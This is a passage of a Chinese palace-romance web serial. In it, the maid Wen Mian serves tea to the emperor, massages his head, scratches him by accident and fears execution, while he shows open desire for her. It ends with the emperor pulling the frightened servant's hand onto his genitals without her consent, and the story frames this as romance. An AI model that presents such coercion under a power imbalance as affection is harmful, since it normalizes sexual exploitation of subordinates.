温棉早上到现在水米未进,此刻已是口干舌燥,腹中空空。
她摸了摸案上的锡壶,里面满满一壶水。
又瞥了眼车外一望无际的旷野,想到这一路前不着村后不着店,更无方便之处,只得强咽下口中津液,将壶又放了回去。
就这么一路忍耐着,直到日头渐渐升高,车队终于驶入了南海子地界。
甫一到宫女安置的地方,温棉顾不得仪态,抓起水壶便狠狠灌了几大口。
然后往铜茶炊里注入带来的玉泉水,看着水已经坐到火上,她才坐到火旁,从怀里掏出用油纸包着的芙蓉糕。
昨晚包包袱时她便藏了些点心带在身上,此刻早已被颠簸压得酥碎。
此时也顾不得卖相好不好看了,摊开油纸托住,小心翼翼地将那些碎屑尽数倒进嘴里,囫囵咽下。
肚子里有了东西,这才觉得活过来了。
一旁正指挥小宫女们往下搬茶具箱子的娟秀瞥见,蹙眉低斥道:“你好歹先预备下给主子的茶水再吃,各处的行营陈设俱已铺宫,主子随时可能驾到,万一这就传茶呢?你倒先填起肚子来了?真是饿死鬼投胎的不成?”
果然,她话音刚落,便有个面生的小太监气喘吁吁地自前头跑过来。
尖着嗓子急急通传:“快着点!快着点!万岁爷的銮驾就到宫门口了,各处赶紧预备着接驾。”
温棉心道娟秀真是个乌鸦嘴,手下不敢耽搁。
一边取茶叶一边道:“我何曾先自己填肚子来着?不烧好水,等泡茶时拿空气泡不成?”
娟秀道:“横竖你有理,你就是个温有理。”
“你怎么这么爱找茬?难怪在御茶房侍候。”
两人拌嘴,手里动作却不慢。
指挥着簪儿和春兰,从刚打开的箱笼里取出预先备好的成套茶具。
雀舌茶得热水初沸,悬壶高冲才能冲出好滋味,每一泡都有不同的味道。
是以温棉用一个紫檀木嵌竹丝的茶盘,上面放一个小吊壶并一只五彩云龙茶碗。
届时皇帝自斟自泡,想饮几泡都可以。
她脚步匆匆地往前殿方向赶去。
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南海子行宫的主殿名为涵辉殿,是皇帝初日驻跸之所。
殿宇虽不及紫禁城宏伟,却也是飞檐斗拱,气象端严。
此刻殿前丹墀上下,太监宫女们早
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已垂手肃立,鸦雀无声。
温棉几个赶到涵辉殿时,就听得宫门外遥遥传来净鞭三响,在寂静的行宫里显得格外震耳。
紧接着,便是整齐划一的脚步声由远及近,盔甲摩擦的肃杀之音愈加清晰。
皇帝,到了。
南海子行宫地势高,温棉站在涵辉殿的月台上,能遥遥望见皇帝的仪仗。
此番皇帝出京用的是骑驾卤簿,但见前导举着龙旗、凤旗、黄麾,一列列侍卫骑马扈从左右。
中间是明黄绣龙纹的曲柄伞、直柄伞、华盖、香炉、金盆、金瓶等一应御用之物,由太监们恭敬捧着。
再往后,才是皇帝所乘的御辇。
金顶朱轮,在日光下流动着耀目的光泽。
前后左右皆有佩刀侍卫层层环卫,肃穆无声,唯有马蹄与车轮碾过官道的声响,沉甸甸的压着大地。
这般煊赫的排场,才能彰显天子的尊贵与威仪。
御驾及近,所有人都垂首跪了下去。
皇帝大跨步走进涵辉殿,明黄朝服下摆随着步伐翻涌,胸前挂着的东珠朝珠微微晃动,撞击出细碎轻响。
四执库太监张自行早已捧着行服候在一旁,待皇帝站定,便轻手轻脚上前伺候更衣。
温棉端着茶盘进来时,正见张自行躬着身,如同捧着什么易碎的宝贝,捧着朝服,悄无声息地退了出去。
温棉低着头,眼观鼻鼻观心,走进殿里,绕过锡红山水人物座屏,行至里间。
见皇帝已换了身团龙纹行服,外面罩了件石青的褂子,正斜倚在临窗的紫檀木雕螭纹炕榻上,一手支着额头。
戴着虎骨扳指的拇指正用力按着太阳穴,眼睫低垂,眉心微蹙,似是在头疼。
皇帝不舒坦,她可不敢触霉头。
温棉将茶碗轻轻放在炕几上,便欲转身退下。
“站住。”
皇帝的声音不高。
他在温棉进门时就睁开了眼,只是懒得动弹。
见她进来后一味低眉顺眼,放下东西就要走,下意识便开口叫住了。
只是叫住她之后,皇帝发现自己也没旁的事吩咐,殿里一时安静下来。
但见她一双眼睛澄澈见底,长长的睫羽眨一下,又眨一下。
皇帝收回目光,语气平平:“你上回不是说,要跟寿药房太监学推拿的手艺,如今学得如何了?”
温棉一听,心道坏了,自己当初不过随口一提,怎的这位祖宗竟还记得。
她忙躬身,赔着万分小心:“回万岁爷的话,奴才是个蠢笨的,只学了些粗浅皮毛,实在不成样子。
万岁若是觉得乏了,想松快松快,奴才这就去传精于此道的公公来?”
皇帝闻言,眉梢微挑,声音里听不出喜怒:“哦?这么说,你当初是诓朕的?好啊,你竟敢欺君?”
这话分量太重,温棉吓得膝盖一软,扑通就跪下了,额头触地。
“万岁爷明鉴啊,奴才对您的忠心,天地可表,奴才一心只有您,为您赴汤蹈火在所不辞,万万不敢欺君!
就是把奴才这颗脑袋砍了,只要您高兴,奴才没有不听从的,奴才死后,魂儿也要日夜护卫在您身边,谨防其他不长眼的小鬼冒犯您呢。
奈何奴才打小脑子笨,手也不灵活,这才没学成。奴才胆子又小,怕自个儿给您推拿出毛病来,到时候就是把奴才碾成粉也不能偿还了!”
她嘴上说得情真意切,涕泪俱下,心里却已把皇帝翻来覆去骂了个狗血淋头。
「你大爷,你大爷的!正事不做尽折腾人!」
皇帝见她滚刀肉似的,却不生气,只是哭笑不得。
这丫头,怎么跟个市井里混的泼皮无赖似的,满嘴跑马,没个正形。
任是皇亲国戚,也敢在心里破口大骂。
真该带她去见见他的大爷,看她以后还敢不敢在心里这么着了。
她还脑子笨、胆子小?
她是太聪明、太胆大了!
皇帝压下嘴角那点几乎要溢出的笑意,故作不耐道:“行了,少在朕跟前油嘴滑舌,既如此,你过来,给朕按按头。”
温棉只得硬着头皮应道:“奴才学艺不精,手重手轻没个准头,万一有不周到之处,还请万岁爷千万恕罪。”
皇帝闭着眼,好整以暇,从鼻子里“嗯”了一声,算是应允。
“朕赦你无罪,只管来。”
得了这句准话,温棉才敢起身,挪步到榻旁。
皇帝阖着眼,只觉两处太阳穴上落下两点微凉。
力道起初有些生涩迟疑,渐渐的,倒也寻着了章法,不轻不重地打着圈按揉。
她离得近,身上那股清爽的皂角香气便幽幽散开,混着一丝极淡的属于她的暖香。
皇帝胸膛起伏,深深呼出一口气
真是遇到了这辈子的克星,她还没怎么着,他就已经不能自持。
心里像是盛了一汪春水,水都要漫出来了。
27. 白玉兰(入V公告)
落在膝头的手慢慢握拳。
皇帝克制着要将她一把拉入怀中的冲动。
温棉屏息凝神,指尖在皇帝额侧穴位上小心揉按着,不敢有丝毫分神。
皇帝身板宽,又结实,她得大张着胳膊,几乎是半揽着皇帝的背,才能按到他另一侧的太阳穴。
只是这样一来,皇帝的身子距她胸怀只半寸不到。
随着呼吸起伏,温棉好似站在闭目休憩的老虎背后。
殿内寂静,只闻更漏细微的滴水声,和彼此轻不可闻的呼吸。
分明并无不妥,可她心底却觉着不安定,有只兔子不停在腔子里蹦哒。
到底为什么不安定,她却不知道。
女人家气力小,温棉揉捏着皇帝的穴位,渐渐的慢了下来。
她悄悄呼气,垂首却看见皇帝紧握成拳的双手。
那双挥刀弯弓的大手攥得死紧,用力到青脉隆起。
她这才发现皇帝身板绷得笔挺,钢板一样。
这是怎么了?敢是她手里的动作叫皇帝不受用了?
温棉的眼睛霎时瞪圆。
手下的动作偏了也没留神。
“嘶。”
皇帝忽地抽了下冷气。
温棉登时一动不敢动。
“你拿了什么?”
皇帝一边扶着脑袋,一边睁开眼睛。
但见手上显出细微的红痕。
他撇头看温棉。
只见温棉的手还没收回去,手指尖上蹭了一丝血。
温棉满脸惨白,栽烛般跪下。
她刚绞了指甲,正是锋利的时候,方才一时不察,指甲竟划破了皇帝的头。
皇帝一眼就看见了她手上的红。
水葱儿似的手,雪白细腻,白玉兰瓣儿上粘了点朱砂一样。
很是显眼。
他攥住温棉的手,虎着脸道:“好啊,你长行市了?这是要行刺?”
男人的手宽大灼热,将那只纤细的手握在手心。
他是玩笑话。
就她这绵若无骨的手,还行刺?
他握着她的手,为这点难得的触碰而心生欢喜。
心中暗斥自己好歹也是而立之年的人了,怎么跟个大小伙似的没出息。
这会子温棉哪里听得出他是玩笑还是认真的。
满脑子都是天塌了。
一时想砍头一时想充军,两眼水雾弥漫。
她哆哆嗦嗦地求情:“万岁爷容禀,奴才学艺不精,不慎伤了万岁爷龙体,十个脑袋也不够砍。
只是奴才心里眼里全是您,忠心为您,绝没有行刺的念头啊!”
捏着她手的力气越来越大。
温棉闭上眼,嘴唇哆嗦着,只以为皇帝要捏断她的手出气。
却不料手上传来一股力道,把她拉了起来。
她跌跌撞撞,差不点撞到皇帝怀里,好在炕榻高,挡住了她,不然皇帝又得生气了。
“朕多早晚说要杀你的头了?”
昭炎帝从袖筒里抽出一方双龙捧寿明黄手帕,右手握着手中冰凉的小手,左手擦去这只手上的血丝儿。
直把冰凉的手揉搓得暖热。
“还有,你从哪里学来的这片子话?姑娘家家的,一张口就是甜言蜜语,也不嫌害臊。”
温棉半张着嘴,呆呆地看着皇帝。
有什么不对劲!
昭炎帝抬眼看她,欢喜看她这副模样。
他望着她。
庙里肃穆无情的神像眼睛突然上了一层清漆。
于是这尊神像也便有了情。
温棉猛地一抽冷子,将手缩回去,她垂下头:“奴才去请太医来。”
皇帝虚握了一下空荡荡的手。
“请什么太医,破了点口子而已,等太医来了早好了。”
“那……那我去给您找药。”
说着,她转身就往殿外跑。
郭玉祥正悄悄听里面的动静,忽见温棉出来,他忙迎上去。
“怎么了姑娘?要什么打发底下孩子们去就是了。”
温棉惊魂未定,哭丧着脸道:“劳烦谙达取些白药、金疮药来。”
郭玉祥一惊:“哎呦喂,这是怎么说?”
温棉嘴唇动了动,终究低声道:“我把万岁爷的头弄破了。”
“什么?!!”郭玉祥声音尖得能震穿人的耳朵,他恨恨指着温棉,“你啊!”
他狗颠儿地忙跑去寻药,心里七上八下,忽对过味儿来。
损伤龙体,这是大罪,杀头也不为过,怎么不见主子爷治罪?
皇帝坐了一会儿,终于听见软帘声动,以为是温棉回来了,他含笑望去,却见郭玉祥抽抽着脸,捧着一盘子药进来。
嘴角翘起的弧度立刻耷拉下来了。
/
温棉出来后没敢再回去。
皇帝方才那眼神看得她心惊肉跳,到现在她半边身子都是麻的。
她呆坐了半晌,颓然地垮下肩膀,想把脸埋进掌心里。
脸刚贴上手,鼻尖动了动。
冰凉的手上还粘着皇帝身上的龙涎香,吓得她忙把手伸远。
“这叫什么事儿啊……”
“温棉,嗳,小棉子,在不在呢?”
温棉缓过神儿来,向外面答应了一声,这才发现天已经黑了。
她竟然枯坐了一个时辰。
娟秀一甩帘子走进来:“我叫你半天了,怎么都不应一声儿?快去前头奉茶了。”
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>温棉吐出胸中浊气,起身寻茶叶去了。
娟秀站在门槛上,用手绢掖了掖鼻子,眼里全是看好戏的光。
涵辉殿前,郭玉祥嘬着牙花子,悄悄撇嘴。
鲁四姑娘说要来给主子爷磕头请安,进去好半天了,里面只有窸窸窣窣的说话声,也不知在说什么……
突然里间儿一声脆响,骇得郭玉祥等一众太监背都绷紧了。
下一瞬,鲁四姑娘哭得梨花带雨的,手捂着脸,从里面奔了出来。
温棉恰端着一个海棠填漆小茶盘过来,和鲁四姑娘撞了个满怀。
“嗳哟!”
温棉一时不防,摔了个屁股墩,好歹茶盘没摔下来,算是万幸了。
郭玉祥、王来喜见了,忙上前扶起两人。
“温姑娘,摔得怎么样?可要紧不要?”
郭玉祥声气温柔极了。
这位可是主子惦记着的人,看在主子的佛面上,他也要照佛一二。
“不碍事不碍事。”
温棉连连摆手,站了起来。
她这才看清,与她相撞的姑娘梳着两把头,插金戴玉,穿一身雪青色牡丹苏绣长袄,月白裙子,面容很是清丽。
听到御前总管唤来人“温姑娘”,她下死眼瞧温棉。
温棉被她看得浑身不自在,端起茶盘福了福身,便踅身进去了。
涵辉殿里一个侍候的人也无。
温棉转身走过大理石插屏,绕过两重花罩,进到暖阁里。
但见皇帝闭眼躺在床上,右腿支着地,一侧垂下帐子,挡住半身。
他靠着杏黄缠枝牡丹云龙纹枕上,左手搭在额上,很不受用的模样。
温棉吓了一跳:“您怎么了?要不我去给您传太医吧?”
半晌,昭炎帝艰涩道:“不必。”
他睁眼,坐起身来,两眼通红看着眼前人。
温棉仿若掉进了狼窝。
“温棉……”
皇帝开口唤她的名字,短短两字蕴尽了他所有的绮思。
“你当真忠心?”
温棉肃道:“奴才的忠心天地可鉴!”
昭炎帝定定地看着她的眼睛,突然一笑,似是无奈。
“既你说忠心,那便证明给朕看。”
温棉怔愣,这个怎么证明?
总不能叫她立时挡刀试毒,以命相证吧?
皇帝这是怎么了?才半下午不见,又变得古怪起来。
昭炎帝去拉她的手。
虎骨扳指咯着她的软肉,不多时便压出一抹红痕。
“放心,不叫你送命。”
温棉骇然地看着他握着自己的手,挑开垂下的帐子,没入里面。
触手一根光滑灼热的玉柱!